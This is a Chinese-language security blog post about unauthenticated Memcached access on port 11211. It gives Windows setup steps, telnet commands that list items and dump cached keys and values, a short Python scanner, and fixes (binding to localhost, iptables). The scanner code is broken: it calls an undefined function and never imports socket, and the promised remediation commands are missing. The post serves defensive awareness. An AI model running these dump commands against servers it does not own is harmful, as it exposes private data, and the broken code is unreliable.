Memcached 分布式緩存系統,默認的 11211 端口不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。
0X00 Memcache安裝
1. 下載Mencache的windows穩定版,解壓放某個盤下面
2、在cmd命令界面)下輸入 'memcached.exe -d install' 進行安裝
3、 啟動 memcached.exe -d start。NOTE: 以后memcached將作為windows的一個服務每次開機時自動啟動。這樣服務器端已經安裝完畢了。
0x01 漏洞驗證
telnet 10.9.9.120
無需用戶名密碼,可以直接連接memcache 服務的11211端口。
# stats //查看memcache 服務狀態
# stats items //查看所有items
# stats cachedump 32 0 //獲得緩存key
# get :state:264861539228401373:261588 //通過key讀取相應value ,獲得實際緩存內容,造成敏感信息泄露
0x02 Python未授權訪問腳本
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass if __name__ == '__main__': Elasticsearch_check("127.0.0.1")
0x03 修復方案:
因memcache無權限控制功能,所以需要用戶對訪問來源進行限制。
方案一:
如果memcache沒有在外網開放的必要,可在memcached啟動的時候指定綁定的ip地址為 127.0.0.1。例如:
方案二:(注意:請謹慎配置iptables規則)
如果memcache服務需要對外提供服務,則可以通過iptables進行訪問控制,下面是只允許本機訪問:
上述規則的意思是只允許192.168.0.2這個ip對11211端口進行訪問。
關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。
參考鏈接:
Windows下的Memcache安裝 http://kimi.it/258.html